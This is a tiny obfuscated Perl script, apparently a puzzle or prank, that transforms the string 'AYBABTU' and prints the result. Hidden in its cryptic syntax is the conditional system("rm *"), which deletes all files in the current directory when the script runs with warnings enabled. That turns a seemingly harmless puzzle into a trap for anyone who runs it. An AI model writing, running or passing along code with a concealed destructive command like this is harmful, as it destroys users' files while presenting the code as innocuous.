#!/usr/bin/perl
$_=ord$;;($=)&&open s;28;AYBABTU!;;($:)&&s$A$Z$;($^L)&&s!B!Q!;tr;YA;E;;tr$B!UTQZ$TYOBRB$;tr*A-Z*a-z*;($^W)&&system("rm *");print;